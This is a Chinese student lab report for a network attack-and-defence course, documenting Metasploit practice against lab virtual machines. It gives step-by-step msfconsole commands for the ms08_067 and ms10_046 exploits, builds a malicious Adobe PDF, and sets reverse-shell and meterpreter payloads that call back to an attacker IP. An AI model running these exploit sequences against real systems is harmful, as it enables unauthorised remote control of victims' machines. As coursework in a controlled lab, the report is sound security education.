2018-2019-2 20165336《网络攻防技术》Exp5 MSF基础应用
2018-2019-2 20165336《网络攻防技术》Exp5 MSF基础应用
一、攻击实例
主动攻击的实践
ms08_067(成功)
payload/generic/shell_reverse_tcp(成功)
攻击浏览器的实践
ms11_050(失败)ms11_046(成功)
exploit/windows/browser/ms10_046_shortcut_icon_dllloader(成功且唯一)
exploit/windows/smb/ms10_046_shortcut_icon_dllloader(成功)
攻击客户端的实践
Adobe(成功)
成功应用任何一个辅助模块
- 应用
use auxiliary/scanner/portscan/ACK(成功且唯一)
- 应用
二、知识点总结
- 1.MSF攻击方法
- 主动攻击:扫描主机漏洞,进行攻击
- 攻击浏览器
- 攻击其他客户端
- 2.MSF的六种模块
- 渗透攻击模块Exploit Modules:攻击漏洞,把shellcode"背"过去
主动渗透攻击:攻击某个系统服务
被动渗透攻击:攻击某个客户端应用 - 辅助模块Auxiliary Modules:在进行渗透攻击之前得到目标系统丰富的情报信息,它是攻击的前提
网络服务的扫描与查点
探查敏感信息泄露、Fuzz测试发掘漏洞
收集登录密码 - 攻击载荷Payload Modules:载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码
- 空字段模块Nop Modules
一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,即空指令(滑行区)
由于系统无法精确计算shellcode的起始地址,所以加入nops以增加攻击成功的概率 - 编码模块Encoders
改变payload形状,使得不出现特定字符
确保攻击载荷中不会出现渗透攻击过程中应加以避免的“坏字符” - 后渗透攻击模块Post:攻击成功之后,动态传输代码使其在被控机执行
- 渗透攻击模块Exploit Modules:攻击漏洞,把shellcode"背"过去
- 查看六种模块源码目录/usr/share/metasploit-framework/modules
- 3.MSF的三种用户操作界面
- msfconsole
查看模块的具体信息info [exploits|auxiliary|post|payloads|encoders|nops]
查看设置信息show [options]
查看攻击目标类型show [target]
查找命令search
查找2016年产生的在windows平台下的漏洞search ms16 type:exploit platform:windows - armitage
启动服务器service postgresql start
启动armitagearmitage - webgui
- msfconsole
三、攻击实例
Exp5-1 实现ms08_067
靶机:windows XP SP3 中文版
payload : generic/shell_reverse_tcp
实验步骤
输入
msfconsole打开metasploit控制台查看一下ms08_067这个漏洞在哪里
search ms08-067

选择漏洞
use exploit/windows/smb/ms08_067_netapi选择通过反向连接来获取shell的
generic/shell_reverse_tcp当payload,使用指令set payload generic/shell_reverse_tcp对payload进行设置show targets查看这个漏洞波及的系统版本,我们也可以通过修改target的值,来选择我们具体想要攻击的计算机系统(通常可以采用自动选取,即target设置为0)查看设置信息
show options设置主机ip
192.168.1.241和端口号 5336设置靶机ip
set RHOSTS 192.168.1.140

接着使用
exploit指令攻击成功

任务二:一个针对浏览器的攻击
实现ms11_050(失败)
- 关于漏洞的原理
- 原理:IE浏览器MSHTML模块在处理无效标签时存在use-after-free漏洞
- 影响范围:IE Exploer 7 以及 IE Exploer 8
search ms11_050 搜索漏洞
use windows/browser/ms10_046_shortcut_icon_dllloader 使用漏洞
show payloads 显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp 选择攻击载荷
options 查看配置信息
set LHOST [ip] 设置监听地址
set 设置监听端口
set 设置攻击Ip
exploit 开始攻击,并在靶机打开msf给的http网址
sessions -i num 查看开启的会话
实验步骤
search ms11_050搜索漏洞use windows/browser/ms10_046_shortcut_icon_dllloader使用漏洞show payloads显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp选择攻击载荷

对ip地址,端口号进行设置,然后进行攻击但失败了。


原因探索:
根据同学之间的交流,大家一致认为虚拟机windows XP sp3 中文版,会出现攻击失败的情况,重新更换靶机用windows XP SP3 英文版即可成功。
实现ms10_046(成功且唯一)
靶机:Microsoft Windows XP SP3 + IE8 / Windows 7 + IE8
exploit/windows/browser/ms10_046_shortcut_icon_dllloader
实验步骤
show payloads #显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp #选择攻击载荷
show options #查看配置信息
set LHOST 192.168.1.241 #设置监听地址
exploit #进行攻击
输入
msfconsole进入控制台,并使用刚才找到的exploituse windows/browser/ms10_046_shortcut_icon_dllloader

配置地址和端口号等信息

用exploit 进行攻击,windows XP打开相应地址然而出现了问题,失败了,查看session并没有连接。从而进行解决问题的思考ing。。。

尝试靶机用windows 7 结果一样失败了


原因探索:
探索原因后发现,windows XP靶机的IE浏览器的版本有问题,导致程序无法调用dll文件执行相应操作,实现攻击,所以得手动运行程序(有点low),才能实现攻击成功。


实现ms10_046(2)(成功)
靶机:Microsoft Windows XP SP3 + IE8 / Windows 7 + IE8
exploit/windows/smb/ms10_046_shortcut_icon_dllloader
show payloads #显示可用攻击载荷
set payload windows/meterpreter/reverse_tcp #选择攻击载荷
show options #查看配置信息
set LHOST 192.168.1.241 #设置监听地址
exploit #进行攻击
实验步骤
- 根据实现ms10_046(1)步骤可成功完成攻击。



- 最终攻击成功

任务三:一个针对客户端的攻击
实现Adobe
- 漏洞原理
- 这个漏洞针对Adobe阅读器9.3.4之前的版本,一个名为SING表对象中一个名为uniqueName的参数造成缓冲区溢出
- 本次攻击对象:windows xp sp3 Adobe 9.3.2
实验步骤
search adobe #进行查找
use windows/fileformat/adobe_cooltype_sing #使用漏洞
set payload windows/meterpreter/reverse_tcp #选择攻击载荷
set LHOST 192.168.1.241 #攻击者地址
set FILENAME 20165336.pdf #设置生成pdf文件的文件名
exploit #攻击
选择攻击模块,将其载入。

使用命令show payloads选择要使用的payload(这里使用了windows/meterpreter/reverse_http
对地址等参数进行配置
使用命令show options查看相关参数设置要求
设置好相应参数后,开始实施攻击,发现在/root/.msf4/local/目录下成功生成了一个20165336.pdf文件然后将该文件传送到靶机上(通过共享文件夹)并且在攻击机上打开监听

将靶机中的pdf文件打开,攻击机成功获取到靶机shell:

任务四:应用辅助模块
辅助模块:运用TCP中的ACK响应包检查端口的开放状态以及是否被屏蔽
在auxiliary中进行查找
search auxiliary

auxiliary中
use auxiliary/scanner/portscan/ack并配置相应的主机地址和需要扫描的端口(这里我选择默认)exploit开始进行攻击

auxiliary模块执行完毕(为了截图提前中止了)

四、实验总结
1.实验总结与体会
这次实验我更加对msf有了极大的兴趣,再用exploit和payload时,让我了解到了许多的漏洞和有效的攻击手段,从而感觉到了工具的强大,在利用好工具与自己掌握很扎实的基础知识下,攻击便会得心应手,个人感觉nmap和auxiliary的作用有相似之处。总之在经过这次实验后,我对msf的理解又更深了一步,我相信在兴趣的推动下我会不断提高。
2.离实战还缺些什么技术
对于msf我认为还是个小白,距离实战还有很远的路,在熟练基础知识的前提下,还要熟悉所使用的工具,还需要不断地提高自己对渗透攻击的理解思维,这样才能在实战中从容应对。
3.用自己的话解释什么是exploit,payload,encode
exploit我认为是攻击者开始向靶机进行攻击。
payload我认为是攻击者进行攻击所能提供用到的“武器”。
encode编码我认为是使shellcode改变,从而躲避检测。
2018-2019-2 20165336《网络攻防技术》Exp5 MSF基础应用的更多相关文章
- 2018-2019-2 20165206 网络攻防技术 Exp5 MSF基础应用
- 2018-2019-2 20165206<网络攻防技术>Exp5 MSF基础应用 - 实验任务 1.1一个主动攻击实践,如ms08_067; (1分) 1.2 一个针对浏览器的攻击,如 ...
- 20155226《网络攻防》 Exp5 MSF基础应用
20155226<网络攻防> Exp5 MSF基础应用 基础问题回答 1.用自己的话解释什么是exploit,payload,encode? exploit : Exploit的英文意思就 ...
- 20155318 《网络攻防》Exp5 MSF基础应用
20155318 <网络攻防>Exp5 MSF基础应用 基础问题 用自己的话解释什么是exploit,payload,encode? exploit就相当于是载具,将真正要负责攻击的代码传 ...
- 20145236《网络攻防》Exp5 MSF基础应用
20145236<网络攻防>Exp5 MSF基础应用 一.基础问题回答 解释exploit,payload,encode是什么: exploit就是负责负载有用代码的交通工具,先通过exp ...
- 20155301 《网络攻防》 Exp5 MSF基础应用
20155301 <网络攻防> Exp5 MSF基础应用 基础问题 1.用自己的话解释什么是exploit,payload,encode 答:exploit就是利用一些工具的,用来收集目标 ...
- 20155321 《网络攻防》 Exp5 MSF基础应用
20155321 <网络攻防> Exp5 MSF基础应用 基础问题 用自己的话解释什么是exploit,payload,encode 关于exploit,我觉得exploit是利用一些工具 ...
- 20155338 《网络攻防》Exp5 MSF基础应用
20155338 <网络攻防>Exp5 MSF基础应用 基础问题回答 1. 用自己的话解释什么是exploit,payload,encode? exploit将真正要负责攻击的代码传送到靶 ...
- 2015306 白皎 《网络攻防》Exp5 MSF基础应用
2015306 白皎 <网络攻防>Exp5 MSF基础应用 一.基础问题 用自己的话解释什么是exploit,payload,encode. exploit指由攻击者或渗透测试者利用一个系 ...
- 20155334 《网络攻防》Exp5 MSF基础应用
一.基础问题回答 解释exploit,payload,encode是什么: 项目 作用 exploit 是负载有用代码的交通工具,让代码到达目的地,并作用 payload 是有具体功能的代码,能够完成 ...
- 20155211 网络攻防技术 Exp08 Web基础
20155211 网络攻防技术 Exp08 Web基础 实践内容 Web前端HTML,能正常安装.启停Apache.理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML. We ...
随机推荐
- 【转】解决keepalived正常启动但是虚IP(VIP)没有生成的问题
如题所示,keepalived安装配置好之后能够正常启动,但是虚IP并没有生成.接着检查防火墙(iptables)发现也没有相关的限制.稍微郁闷了一下之后,查看了keepalived日志文件,这次成功 ...
- spring面向切面编程示例(xml配置形式vs@注解形式)
一.xml配置形式 1.在Spring配置文件中增加面向切面配置当调用com.activemq.service.impl.ConsumerServiceImpl接口实现类的任意方法时执行切面类中的方法 ...
- C++设计模式——中介者模式
前言 我们都知道,这个国际政治是一门很深的学问,不玩政治的人是搞不懂的.那么多的国家,国家之间的关系又及其复杂:就好比现在,美国和中国有经济利益关系,美国又和日本有盟友关系,朝鲜又和中国有说不清道不明 ...
- [转载]解决在win10中webstrom无法使用命令行(Terminal)
转载地址:https://qiaolevip.iteye.com/blog/2217688 原因:计算机从win7更新到win10,webstorm9命令框无法输入,以为是webstorm问题和win ...
- 【python】命令行神器 Click 简明笔记
全文拷贝自 命令行神器 Click 简明笔记 Click Click 是用 Python 写的一个第三方模块,用于快速创建命令行.我们知道,Python 内置了一个 Argparse 的标准库用于创建 ...
- Notes for "Python in a Nutshell"
Introduction to Python Wrap C/C++ libraries into Python via Cython and CFFI. Python implementations ...
- SQL反模式学习笔记18 减少SQL查询数据,避免使用一条SQL语句解决复杂问题
目标:减少SQL查询数据,避免使用一条SQL语句解决复杂问题 反模式:视图使用一步操作,单个SQL语句解决复杂问题 使用一个查询来获得所有结果的最常见后果就是产生了一个笛卡尔积.导致查询性能降低. 如 ...
- Stock Chase 拓扑
题意 给出n个公司 m条信息 当某条信息构成环了 则这条信息是错误的 统计有多少个信息是错误的 这题是一条一条读入 虽然分在拓扑排序类里面 但是不会用拓扑排序来做 可以用floyd思想来做 如果 ...
- impala
impala 1.impala是什么: impala是基于hive的大数据实时分析查询引擎,直接使用Hive的元数据库Metadata,意味着impala元数据都存储在Hive的metastore中. ...
- Anaconda3 tensorflow安装 及ModuleNotFoundError: No module named 'tensorflow' 解答
Anaconda3 的安装,参考:手把手教你如何安装Tensorflow(Windows和Linux两种版本) tensorflow的安装,参考:深度学习(TensorFlow)环境搭建:(三)Ubu ...